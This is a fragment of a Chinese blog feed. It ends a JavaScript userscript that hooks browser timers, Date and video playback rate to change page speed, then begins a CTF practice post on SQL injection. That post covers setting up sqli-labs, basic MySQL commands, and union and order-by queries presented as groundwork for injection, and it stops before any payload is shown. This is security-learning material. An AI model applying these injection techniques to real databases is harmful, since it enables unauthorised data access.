4:</span><br><span class="line">                                definedValue = new timerContext._Date(</span><br><span class="line">                                    arguments[0],</span><br><span class="line">                                    arguments[1],</span><br><span class="line">                                    arguments[2],</span><br><span class="line">                                    arguments[3],</span><br><span class="line">                                );</span><br><span class="line">                                break;</span><br><span class="line">                            case 5:</span><br><span class="line">                                definedValue = new timerContext._Date(</span><br><span class="line">                                    arguments[0],</span><br><span class="line">                                    arguments[1],</span><br><span class="line">                                    arguments[2],</span><br><span class="line">                                    arguments[3],</span><br><span class="line">                                    arguments[4]</span><br><span class="line">                                );</span><br><span class="line">                                break;</span><br><span class="line">                            case 6:</span><br><span class="line">                                definedValue = new timerContext._Date(</span><br><span class="line">                                    arguments[0],</span><br><span class="line">                                    arguments[1],</span><br><span class="line">                                    arguments[2],</span><br><span class="line">                                    arguments[3],</span><br><span class="line">                                    arguments[4],</span><br><span class="line">                                    arguments[5]</span><br><span class="line">                                );</span><br><span class="line">                                break;</span><br><span class="line">                            default:</span><br><span class="line">                            case 7:</span><br><span class="line">                                definedValue = new timerContext._Date(</span><br><span class="line">                                    arguments[0],</span><br><span class="line">                                    arguments[1],</span><br><span class="line">                                    arguments[2],</span><br><span class="line">                                    arguments[3],</span><br><span class="line">                                    arguments[4],</span><br><span class="line">                                    arguments[5],</span><br><span class="line">                                    arguments[6]</span><br><span class="line">                                );</span><br><span class="line">                                break;</span><br><span class="line">                        &#125;</span><br><span class="line"></span><br><span class="line">                        Object.defineProperty(this, &#x27;_innerDate&#x27;, &#123;</span><br><span class="line">                            configurable: false,</span><br><span class="line">                            enumerable: false,</span><br><span class="line">                            value: definedValue,</span><br><span class="line">                            writable: false</span><br><span class="line">                        &#125;);</span><br><span class="line">                        return;</span><br><span class="line">                    &#125;</span><br><span class="line">                    var now = timerContext._Date.now();</span><br><span class="line">                    var passTime = now - timerContext.__lastDatetime;</span><br><span class="line">                    var hookPassTime = passTime * (1 / timerContext._percentage);</span><br><span class="line">                    // console.log(__this.__lastDatetime + hookPassTime, now,__this.__lastDatetime + hookPassTime - now);</span><br><span class="line">                    Object.defineProperty(this, &#x27;_innerDate&#x27;, &#123;</span><br><span class="line">                        configurable: false,</span><br><span class="line">                        enumerable: false,</span><br><span class="line">                        value: new timerContext._Date(timerContext.__lastMDatetime + hookPassTime),</span><br><span class="line">                        writable: false</span><br><span class="line">                    &#125;);</span><br><span class="line">                &#125;;</span><br><span class="line">            &#125;,</span><br><span class="line">            getHookedTimerFunction: function (type, timer) &#123;</span><br><span class="line">                var property = &#x27;_&#x27; + type + &#x27;Ids&#x27;;</span><br><span class="line">                return function () &#123;</span><br><span class="line">                    var uniqueId = timerContext.genUniqueId();</span><br><span class="line">                    var callback = arguments[0];</span><br><span class="line">                    if (typeof callback === &#x27;string&#x27;) &#123;</span><br><span class="line">                        callback += &#x27;;timer.notifyExec(&#x27; + uniqueId + &#x27;)&#x27;;</span><br><span class="line">                        arguments[0] = callback;</span><br><span class="line">                    &#125;</span><br><span class="line">                    if (typeof callback === &#x27;function&#x27;) &#123;</span><br><span class="line">                        arguments[0] = function () &#123;</span><br><span class="line">                            var returnValue = callback.apply(this, arguments);</span><br><span class="line">                            timerContext.notifyExec(uniqueId);</span><br><span class="line">                            return returnValue;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                    // 储存原始时间间隔</span><br><span class="line">                    var originMS = arguments[1];</span><br><span class="line">                    // 获取变速时间间隔</span><br><span class="line">                    arguments[1] *= timerContext._percentage;</span><br><span class="line">                    var resultId = timer.apply(window, arguments);</span><br><span class="line">                    // 保存每次使用计时器得到的id以及参数等</span><br><span class="line">                    timerContext[property][resultId] = &#123;</span><br><span class="line">                        args: arguments,</span><br><span class="line">                        originMS: originMS,</span><br><span class="line">                        originId: resultId,</span><br><span class="line">                        nowId: resultId,</span><br><span class="line">                        uniqueId: uniqueId,</span><br><span class="line">                        oldPercentage: timerContext._percentage,</span><br><span class="line">                        exceptNextFireTime: timerContext._Date.now() + originMS</span><br><span class="line">                    &#125;;</span><br><span class="line">                    return resultId;</span><br><span class="line">                &#125;;</span><br><span class="line">            &#125;,</span><br><span class="line">            redirectNewestId: function (args) &#123;</span><br><span class="line">                var id = args[0];</span><br><span class="line">                if (timerContext._intervalIds[id]) &#123;</span><br><span class="line">                    args[0] = timerContext._intervalIds[id].nowId;</span><br><span class="line">                    // 清除该记录id</span><br><span class="line">                    delete timerContext._intervalIds[id];</span><br><span class="line">                &#125;</span><br><span class="line">                if (timerContext._timeoutIds[id]) &#123;</span><br><span class="line">                    args[0] = timerContext._timeoutIds[id].nowId;</span><br><span class="line">                    // 清除该记录id</span><br><span class="line">                    delete timerContext._timeoutIds[id];</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;,</span><br><span class="line">            registerShortcutKeys: function (timer) &#123;</span><br><span class="line">                // 快捷键注册</span><br><span class="line">                addEventListener(&#x27;keydown&#x27;, function (e) &#123;</span><br><span class="line">                    switch (e.keyCode) &#123;</span><br><span class="line">                        case 57:</span><br><span class="line">                            if (e.ctrlKey || e.altKey) &#123;</span><br><span class="line">                                // custom</span><br><span class="line">                                timer.changeTime();</span><br><span class="line">                            &#125;</span><br><span class="line">                            break;</span><br><span class="line">                        // [=]</span><br><span class="line">                        case 190:</span><br><span class="line">                        case 187: &#123;</span><br><span class="line">                            if (e.ctrlKey) &#123;</span><br><span class="line">                                // console.log(&#x27;+2&#x27;);</span><br><span class="line">                                timer.changeTime(2, 0, true);</span><br><span class="line">                            &#125; else if (e.altKey) &#123;</span><br><span class="line">                                // console.log(&#x27;xx2&#x27;);</span><br><span class="line">                                timer.changeTime(0, 2);</span><br><span class="line">                            &#125;</span><br><span class="line">                            break;</span><br><span class="line">                        &#125;</span><br><span class="line">                        // [-]</span><br><span class="line">                        case 188:</span><br><span class="line">                        case 189: &#123;</span><br><span class="line">                            if (e.ctrlKey) &#123;</span><br><span class="line">                                // console.log(&#x27;-2&#x27;);</span><br><span class="line">                                timer.changeTime(-2, 0, true);</span><br><span class="line">                            &#125; else if (e.altKey) &#123;</span><br><span class="line">                                // console.log(&#x27;xx-2&#x27;);</span><br><span class="line">                                timer.changeTime(0, -2);</span><br><span class="line">                            &#125;</span><br><span class="line">                            break;</span><br><span class="line">                        &#125;</span><br><span class="line">                        // [0]</span><br><span class="line">                        case 48: &#123;</span><br><span class="line">                            if (e.ctrlKey || e.altKey) &#123;</span><br><span class="line">                                // console.log(&#x27;reset&#x27;);</span><br><span class="line">                                timer.changeTime(0, 0, false, true);</span><br><span class="line">                            &#125;</span><br><span class="line">                            break;</span><br><span class="line">                        &#125;</span><br><span class="line">                        default:</span><br><span class="line">                        // console.log(e);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;);</span><br><span class="line">            &#125;,</span><br><span class="line">            /**</span><br><span class="line">             * 当计时器速率被改变时调用的回调方法</span><br><span class="line">             * @param percentage</span><br><span class="line">             * @private</span><br><span class="line">             */</span><br><span class="line">            percentageChangeHandler: function (percentage) &#123;</span><br><span class="line">                // 改变所有的循环计时</span><br><span class="line">                util.ergodicObject(timerContext, timerContext._intervalIds, function (idObj, id) &#123;</span><br><span class="line">                    idObj.args[1] = Math.floor((idObj.originMS || 1) * percentage);</span><br><span class="line">                    // 结束原来的计时器</span><br><span class="line">                    this._clearInterval.call(window, idObj.nowId);</span><br><span class="line">                    // 新开一个计时器</span><br><span class="line">                    idObj.nowId = this._setInterval.apply(window, idObj.args);</span><br><span class="line">                &#125;);</span><br><span class="line">                // 改变所有的延时计时</span><br><span class="line">                util.ergodicObject(timerContext, timerContext._timeoutIds, function (idObj, id) &#123;</span><br><span class="line">                    var now = this._Date.now();</span><br><span class="line">                    var exceptTime = idObj.exceptNextFireTime;</span><br><span class="line">                    var oldPercentage = idObj.oldPercentage;</span><br><span class="line">                    var time = exceptTime - now;</span><br><span class="line">                    if (time &lt; 0) &#123;</span><br><span class="line">                        time = 0;</span><br><span class="line">                    &#125;</span><br><span class="line">                    var changedTime = Math.floor(percentage / oldPercentage * time);</span><br><span class="line">                    idObj.args[1] = changedTime;</span><br><span class="line">                    // 重定下次执行时间</span><br><span class="line">                    idObj.exceptNextFireTime = now + changedTime;</span><br><span class="line">                    idObj.oldPercentage = percentage;</span><br><span class="line">                    // 结束原来的计时器</span><br><span class="line">                    this._clearTimeout.call(window, idObj.nowId);</span><br><span class="line">                    // 新开一个计时器</span><br><span class="line">                    idObj.nowId = this._setTimeout.apply(window, idObj.args);</span><br><span class="line">                &#125;);</span><br><span class="line">            &#125;,</span><br><span class="line">            hookShadowRoot: function () &#123;</span><br><span class="line">                var origin = Element.prototype.attachShadow;</span><br><span class="line">                eHookContext.hookAfter(Element.prototype, &#x27;attachShadow&#x27;,</span><br><span class="line">                    function (m, args, result) &#123;</span><br><span class="line">                        extraElements.push(result);</span><br><span class="line">                        return result;</span><br><span class="line">                    &#125;, false);</span><br><span class="line">                eHookContext.hookedToString(origin, Element.prototype.attachShadow);</span><br><span class="line">            &#125;,</span><br><span class="line">            hookDefine: function () &#123;</span><br><span class="line">                const _this = this;</span><br><span class="line">                eHookContext.hookBefore(Object, &#x27;defineProperty&#x27;, function (m, args) &#123;</span><br><span class="line">                    var option = args[2];</span><br><span class="line">                    var ele = args[0];</span><br><span class="line">                    var key = args[1];</span><br><span class="line">                    var afterArgs = _this.hookDefineDetails(ele, key, option);</span><br><span class="line">                    afterArgs.forEach((arg, i) =&gt; &#123;</span><br><span class="line">                        args[i] = arg;</span><br><span class="line">                    &#125;)</span><br><span class="line">                &#125;);</span><br><span class="line">                eHookContext.hookBefore(Object, &#x27;defineProperties&#x27;, function (m, args) &#123;</span><br><span class="line">                    var option = args[1];</span><br><span class="line">                    var ele = args[0];</span><br><span class="line">                    if (ele &amp;&amp; ele instanceof Element) &#123;</span><br><span class="line">                        Object.keys(option).forEach(key =&gt; &#123;</span><br><span class="line">                            var o = option[key];</span><br><span class="line">                            var afterArgs = _this.hookDefineDetails(ele, key, o);</span><br><span class="line">                            args[0] = afterArgs[0];</span><br><span class="line">                            delete option[key];</span><br><span class="line">                            option[afterArgs[1]] = afterArgs[2]</span><br><span class="line">                        &#125;)</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;)</span><br><span class="line">            &#125;,</span><br><span class="line">            hookDefineDetails: function (target, key, option) &#123;</span><br><span class="line">                if (option &amp;&amp; target &amp;&amp; target instanceof Element &amp;&amp; typeof key === &#x27;string&#x27; &amp;&amp; key.indexOf(&#x27;on&#x27;) &gt;= 0) &#123;</span><br><span class="line">                    option.configurable = true;</span><br><span class="line">                &#125;</span><br><span class="line">                if (target instanceof HTMLVideoElement &amp;&amp; key === &#x27;playbackRate&#x27;) &#123;</span><br><span class="line">                    option.configurable = true;</span><br><span class="line">                    console.warn(&#x27;[Timer Hook]&#x27;, &#x27;已阻止默认操作视频倍率&#x27;);</span><br><span class="line">                    key = &#x27;playbackRate_hooked&#x27;</span><br><span class="line">                &#125;</span><br><span class="line">                return [target, key, option];</span><br><span class="line">            &#125;,</span><br><span class="line">            suppressEvent: function (ele, eventName) &#123;</span><br><span class="line">                if (ele) &#123;</span><br><span class="line">                    delete ele[&#x27;on&#x27; + eventName];</span><br><span class="line">                    delete ele[&#x27;on&#x27; + eventName];</span><br><span class="line">                    delete ele[&#x27;on&#x27; + eventName];</span><br><span class="line">                    ele[&#x27;on&#x27; + eventName] = undefined;</span><br><span class="line">                &#125;</span><br><span class="line">                if (!suppressEvents[eventName]) &#123;</span><br><span class="line">                    eHookContext.hookBefore(EventTarget.prototype, &#x27;addEventListener&#x27;,</span><br><span class="line">                        function (m, args) &#123;</span><br><span class="line">                            var eName = args[0];</span><br><span class="line">                            if (eventName === eName) &#123;</span><br><span class="line">                                console.warn(eventName, &#x27;event suppressed.&#x27;)</span><br><span class="line">                                args[0] += &#x27;suppressed&#x27;;</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125;, false);</span><br><span class="line">                    suppressEvents[eventName] = true;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;,</span><br><span class="line">            changePlaybackRate: function (ele, rate) &#123;</span><br><span class="line">                delete ele.playbackRate;</span><br><span class="line">                delete ele.playbackRate;</span><br><span class="line">                delete ele.playbackRate;</span><br><span class="line">                ele.playbackRate = rate</span><br><span class="line">                if (rate !== 1) &#123;</span><br><span class="line">                    timerContext.defineProperty.call(Object, ele, &#x27;playbackRate&#x27;, &#123;</span><br><span class="line">                        configurable: true,</span><br><span class="line">                        get: function () &#123;</span><br><span class="line">                            return 1;</span><br><span class="line">                        &#125;,</span><br><span class="line">                        set: function () &#123;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    var normalUtil = &#123;</span><br><span class="line">        isInIframe: function () &#123;</span><br><span class="line">            let is = global.parent !== global;</span><br><span class="line">            try &#123;</span><br><span class="line">                is = is &amp;&amp; global.parent.document.body.tagName !== &#x27;FRAMESET&#x27;</span><br><span class="line">            &#125; catch (e) &#123;</span><br><span class="line">                // ignore</span><br><span class="line">            &#125;</span><br><span class="line">            return is;</span><br><span class="line">        &#125;,</span><br><span class="line">        listenParentEvent: function (handler) &#123;</span><br><span class="line">            global.addEventListener(&#x27;message&#x27;, function (e) &#123;</span><br><span class="line">                var data = e.data;</span><br><span class="line">                var type = data.type || &#x27;&#x27;;</span><br><span class="line">                if (type === &#x27;changePercentage&#x27;) &#123;</span><br><span class="line">                    handler(data.percentage || 0);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;,</span><br><span class="line">        sentChangesToIframe: function (percentage) &#123;</span><br><span class="line">            var iframes = document.querySelectorAll(&#x27;iframe&#x27;) || [];</span><br><span class="line">            var frames = document.querySelectorAll(&#x27;frame&#x27;);</span><br><span class="line">            if (iframes.length) &#123;</span><br><span class="line">                for (var i = 0; i &lt; iframes.length; i++) &#123;</span><br><span class="line">                    iframes[i].contentWindow.postMessage(</span><br><span class="line">                        &#123;type: &#x27;changePercentage&#x27;, percentage: percentage&#125;, &#x27;*&#x27;);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            if (frames.length) &#123;</span><br><span class="line">                for (var j = 0; j &lt; frames.length; j++) &#123;</span><br><span class="line">                    frames[j].contentWindow.postMessage(</span><br><span class="line">                        &#123;type: &#x27;changePercentage&#x27;, percentage: percentage&#125;, &#x27;*&#x27;);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    var querySelectorAll = function (ele, selector, includeExtra) &#123;</span><br><span class="line">        var elements = ele.querySelectorAll(selector);</span><br><span class="line">        elements = Array.prototype.slice.call(elements || []);</span><br><span class="line">        if (includeExtra) &#123;</span><br><span class="line">            extraElements.forEach(function (element) &#123;</span><br><span class="line">                elements = elements.concat(querySelectorAll(element, selector, false));</span><br><span class="line">            &#125;)</span><br><span class="line">        &#125;</span><br><span class="line">        return elements;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    var generate = function () &#123;</span><br><span class="line">        return function (util) &#123;</span><br><span class="line">            // disable worker</span><br><span class="line">            workerURLs.forEach(function (url) &#123;</span><br><span class="line">                if (util.urlMatching(location.href, &#x27;http.*://.*&#x27; + url + &#x27;.*&#x27;)) &#123;</span><br><span class="line">                    window[&#x27;Worker&#x27;] = undefined;</span><br><span class="line">                    console.log(&#x27;Worker disabled&#x27;);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;);</span><br><span class="line">            var eHookContext = this;</span><br><span class="line">            var timerHooker = &#123;</span><br><span class="line">                // 用于储存计时器的id和参数</span><br><span class="line">                _intervalIds: &#123;&#125;,</span><br><span class="line">                _timeoutIds: &#123;&#125;,</span><br><span class="line">                _auoUniqueId: 1,</span><br><span class="line">                // 计时器速率</span><br><span class="line">                __percentage: 1.0,</span><br><span class="line">                // 劫持前的原始的方法</span><br><span class="line">                _setInterval: window[&#x27;setInterval&#x27;],</span><br><span class="line">                _clearInterval: window[&#x27;clearInterval&#x27;],</span><br><span class="line">                _clearTimeout: window[&#x27;clearTimeout&#x27;],</span><br><span class="line">                _setTimeout: window[&#x27;setTimeout&#x27;],</span><br><span class="line">                _Date: window[&#x27;Date&#x27;],</span><br><span class="line">                __lastDatetime: new Date().getTime(),</span><br><span class="line">                __lastMDatetime: new Date().getTime(),</span><br><span class="line">                videoSpeedInterval: 1000,</span><br><span class="line">                defineProperty: Object.defineProperty,</span><br><span class="line">                defineProperties: Object.defineProperties,</span><br><span class="line">                genUniqueId: function () &#123;</span><br><span class="line">                    return this._auoUniqueId++;</span><br><span class="line">                &#125;,</span><br><span class="line">                notifyExec: function (uniqueId) &#123;</span><br><span class="line">                    var _this = this;</span><br><span class="line">                    if (uniqueId) &#123;</span><br><span class="line">                        // 清除 timeout 所储存的记录</span><br><span class="line">                        var timeoutInfos = Object.values(this._timeoutIds).filter(</span><br><span class="line">                            function (info) &#123;</span><br><span class="line">                                return info.uniqueId === uniqueId;</span><br><span class="line">                            &#125;</span><br><span class="line">                        );</span><br><span class="line">                        timeoutInfos.forEach(function (info) &#123;</span><br><span class="line">                            _this._clearTimeout.call(window, info.nowId);</span><br><span class="line">                            delete _this._timeoutIds[info.originId]</span><br><span class="line">                        &#125;)</span><br><span class="line">                    &#125;</span><br><span class="line">                    // console.log(uniqueId, &#x27;called&#x27;)</span><br><span class="line">                &#125;,</span><br><span class="line">                /**</span><br><span class="line">                 * 初始化方法</span><br><span class="line">                 */</span><br><span class="line">                init: function () &#123;</span><br><span class="line">                    var timerContext = this;</span><br><span class="line">                    var h = helper(eHookContext, timerContext, util);</span><br><span class="line"></span><br><span class="line">                    h.hookDefine();</span><br><span class="line">                    h.applyHooking();</span><br><span class="line"></span><br><span class="line">                    // 设定百分比属性被修改的回调</span><br><span class="line">                    Object.defineProperty(timerContext, &#x27;_percentage&#x27;, &#123;</span><br><span class="line">                        get: function () &#123;</span><br><span class="line">                            return timerContext.__percentage;</span><br><span class="line">                        &#125;,</span><br><span class="line">                        set: function (percentage) &#123;</span><br><span class="line">                            if (percentage === timerContext.__percentage) &#123;</span><br><span class="line">                                return percentage;</span><br><span class="line">                            &#125;</span><br><span class="line">                            h.percentageChangeHandler(percentage);</span><br><span class="line">                            timerContext.__percentage = percentage;</span><br><span class="line">                            return percentage;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;);</span><br><span class="line"></span><br><span class="line">                    if (!normalUtil.isInIframe()) &#123;</span><br><span class="line">                        console.log(&#x27;[TimeHooker]&#x27;, &#x27;loading outer window...&#x27;);</span><br><span class="line">                        h.applyUI();</span><br><span class="line">                        h.applyGlobalAction(timerContext);</span><br><span class="line">                        h.registerShortcutKeys(timerContext);</span><br><span class="line">                    &#125; else &#123;</span><br><span class="line">                        console.log(&#x27;[TimeHooker]&#x27;, &#x27;loading inner window...&#x27;);</span><br><span class="line">                        normalUtil.listenParentEvent((function (percentage) &#123;</span><br><span class="line">                            console.log(&#x27;[TimeHooker]&#x27;, &#x27;Inner Changed&#x27;, percentage)</span><br><span class="line">                            this.change(percentage);</span><br><span class="line">                        &#125;).bind(this))</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;,</span><br><span class="line">                /**</span><br><span class="line">                 * 调用该方法改变计时器速率</span><br><span class="line">                 * @param percentage</span><br><span class="line">                 */</span><br><span class="line">                change: function (percentage) &#123;</span><br><span class="line">                    this.__lastMDatetime = this._mDate.now();</span><br><span class="line">                    this.__lastDatetime = this._Date.now();</span><br><span class="line">                    this._percentage = percentage;</span><br><span class="line">                    var oldNode = document.getElementsByClassName(&#x27;_th-click-hover&#x27;);</span><br><span class="line">                    var oldNode1 = document.getElementsByClassName(&#x27;_th_times&#x27;);</span><br><span class="line">                    var displayNum = (1 / this._percentage).toFixed(2);</span><br><span class="line">                    (oldNode[0] || &#123;&#125;).innerHTML = &#x27;x&#x27; + displayNum;</span><br><span class="line">                    (oldNode1[0] || &#123;&#125;).innerHTML = &#x27;x&#x27; + displayNum;</span><br><span class="line">                    var a = document.getElementsByClassName(&#x27;_th_cover-all-show-times&#x27;)[0] || &#123;&#125;;</span><br><span class="line">                    a.className = &#x27;_th_cover-all-show-times&#x27;;</span><br><span class="line">                    this._setTimeout.bind(window)(function () &#123;</span><br><span class="line">                        a.className = &#x27;_th_cover-all-show-times _th_hidden&#x27;;</span><br><span class="line">                    &#125;, 100);</span><br><span class="line">                    this.changeVideoSpeed();</span><br><span class="line">                    normalUtil.sentChangesToIframe(percentage);</span><br><span class="line">                &#125;,</span><br><span class="line">                changeVideoSpeed: function () &#123;</span><br><span class="line">                    var timerContext = this;</span><br><span class="line">                    var h = helper(eHookContext, timerContext, util);</span><br><span class="line">                    var rate = 1 / this._percentage;</span><br><span class="line">                    rate &gt; 16 &amp;&amp; (rate = 16);</span><br><span class="line">                    rate &lt; 0.065 &amp;&amp; (rate = 0.065);</span><br><span class="line">                    var videos = querySelectorAll(document, &#x27;video&#x27;, true) || [];</span><br><span class="line">                    if (videos.length) &#123;</span><br><span class="line">                        for (var i = 0; i &lt; videos.length; i++) &#123;</span><br><span class="line">                            h.changePlaybackRate(videos[i], rate);</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;;</span><br><span class="line">            // 默认初始化</span><br><span class="line">            timerHooker.init();</span><br><span class="line">            return timerHooker;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    if (global.eHook) &#123;</span><br><span class="line">        global.eHook.plugins(&#123;</span><br><span class="line">            name: &#x27;timer&#x27;,</span><br><span class="line">            /**</span><br><span class="line">             * 插件装载</span><br><span class="line">             * @param util</span><br><span class="line">             */</span><br><span class="line">            mount: generate()</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;(window);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>https://blog.ziworld.top/2025/05/26/2025-05-26-timehooker/</id>
    <link href="https://blog.ziworld.top/2025/05/26/2025-05-26-timehooker/"/>
    <published>2025-05-26T07:47:00.000Z</published>
    <summary>
      <![CDATA[<p>这是一个测试文本，你复制试试</p>
<p><code>https://gfork.zh-tw.eu.org/zh-hans/scripts/372673</code></p>
<figure class="highlight]]>
    </summary>
    <title>timehooker</title>
    <updated>2026-03-09T09:40:18.917Z</updated>
  </entry>
  <entry>
    <author>
      <name>ziworld</name>
    </author>
    <category term="CTF" scheme="https://blog.ziworld.top/categories/CTF/"/>
    <category term="练习" scheme="https://blog.ziworld.top/tags/%E7%BB%83%E4%B9%A0/"/>
    <category term="CTF" scheme="https://blog.ziworld.top/tags/CTF/"/>
    <category term="SQL注入" scheme="https://blog.ziworld.top/tags/SQL%E6%B3%A8%E5%85%A5/"/>
    <content>
      <![CDATA[<h1 id="靶场搭建"><a href="#靶场搭建" class="headerlink" title="靶场搭建"></a>靶场搭建</h1><p>项目:<a href="https://github.com/Audi-1/sqli-labs">Audi-1&#x2F;sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.</a></p><p>SQL配置：WWW\sql\sql-connections\db-creds.inc</p><p>php版本：5.3</p><p>数据库管理工具:phpMyAdmin4.8.5</p><h1 id="数据库命令"><a href="#数据库命令" class="headerlink" title="数据库命令"></a>数据库命令</h1><h2 id="增删改"><a href="#增删改" class="headerlink" title="增删改"></a>增删改</h2><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">#输入密码登录数据库</span><br><span class="line">mysql -u root -p</span><br><span class="line"></span><br><span class="line">#查看数据库</span><br><span class="line">show databases;</span><br><span class="line"></span><br><span class="line">#创建数据库employees并选择字符集</span><br><span class="line">create database employees charset utf8;</span><br><span class="line"></span><br><span class="line">#删除数据库employees</span><br><span class="line">drop database employees;</span><br><span class="line"></span><br><span class="line">#选择进入数据库employees</span><br><span class="line">use employees;</span><br><span class="line"></span><br><span class="line">#创建数据表employee,写入表格信息及相关参数</span><br><span class="line">create table employee</span><br><span class="line">(</span><br><span class="line">    id int,</span><br><span class="line">    name varchar(<span class="number">40</span>),</span><br><span class="line">    sex char(<span class="number">4</span>),</span><br><span class="line">    birthday <span class="built_in">date</span>,</span><br><span class="line">    job varchar(<span class="number">100</span>)</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line">#修改数据表名称为user</span><br><span class="line"><span class="built_in">rename</span> table employee to user;</span><br><span class="line"></span><br><span class="line">#写入内容</span><br><span class="line">INSERT INTO user (id, name, sex, birthday, job)</span><br><span class="line">VALUES (<span class="number">1</span>, &#x27;haha&#x27;, &#x27;male&#x27;, &#x27;<span class="number">2005</span>-<span class="number">01</span>-<span class="number">01</span>&#x27;, &#x27;st&#x27;);</span><br><span class="line"></span><br><span class="line">#查看数据表列表</span><br><span class="line">select*from user;</span><br><span class="line"></span><br><span class="line">#增加一列内容</span><br><span class="line">alter table user add salary decimal(<span class="number">8</span>,<span class="number">2</span>);</span><br><span class="line"></span><br><span class="line">#修改所有工资为<span class="number">5000</span></span><br><span class="line">update user <span class="built_in">set</span> salary=<span class="number">5000</span>;</span><br><span class="line"></span><br><span class="line">#修改id=<span class="number">1</span>的行的name为hehe</span><br><span class="line">update user <span class="built_in">set</span> name=&#x27;hehe&#x27; where id=<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">#修改id=<span class="number">1</span>的行的name为hehe1,salary为<span class="number">6000</span></span><br><span class="line">udate user <span class="built_in">set</span> name=&#x27;hehe1&#x27;,salary=<span class="number">6000</span> where id=<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">#删除列</span><br><span class="line">alter table user drop salary;</span><br><span class="line"></span><br><span class="line">#删除行</span><br><span class="line">delete from user where id=<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">#删除表</span><br><span class="line">delete from user;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="查询"><a href="#查询" class="headerlink" title="查询"></a>查询</h2><p><img src="/2025.5.22-SQL%E6%B3%A8%E5%85%A5(%E4%B8%80)/image-20250520191817784.png" alt="image-20250520191817784"></p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">select * from users where id=<span class="number">1</span>;</span><br><span class="line">#select+列名(*代表所有)from +表名 where+条件语句</span><br><span class="line">select * from users where id <span class="keyword">in</span> (&#x27;<span class="number">3</span>&#x27;);</span><br><span class="line">#从users表格，查询所有包含id为<span class="number">3</span></span><br><span class="line"></span><br><span class="line">select * from users where id=(select id from users where username=(&#x27;admin&#x27;));</span><br><span class="line">#子查询，优先执行()内查询语句</span><br><span class="line"></span><br><span class="line">select id from users union select email_id from emails;</span><br><span class="line">#查询并合并数据显示</span><br><span class="line">select * from user where id=<span class="number">6</span> union select *,<span class="number">3</span> from eamils where id=<span class="number">6</span>;</span><br><span class="line">#列数必须相同</span><br><span class="line"></span><br><span class="line">select * from users where id =<span class="number">9</span> group by <span class="number">2</span>;</span><br><span class="line">#group by进行分组，用来判断列数</span><br><span class="line">select * from users order by <span class="number">3</span>;</span><br><span class="line">#order by默认升序排列，对第三列进行排序，desc变降序</span><br><span class="line">select * from users limit <span class="number">0</span>,<span class="number">3</span>;</span><br><span class="line">#限制为从第<span class="number">1</span>行开始显示<span class="number">3</span>行</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><h1 id="题目-CTFhub"><a href="#题目-CTFhub" class="headerlink" title="题目-CTFhub"></a>题目-CTFhub</h1><h2 id="整数型注入"><a href="#整数型注入" class="headerlink" title="整数型注入"></a>整数型注入</h2><p><img 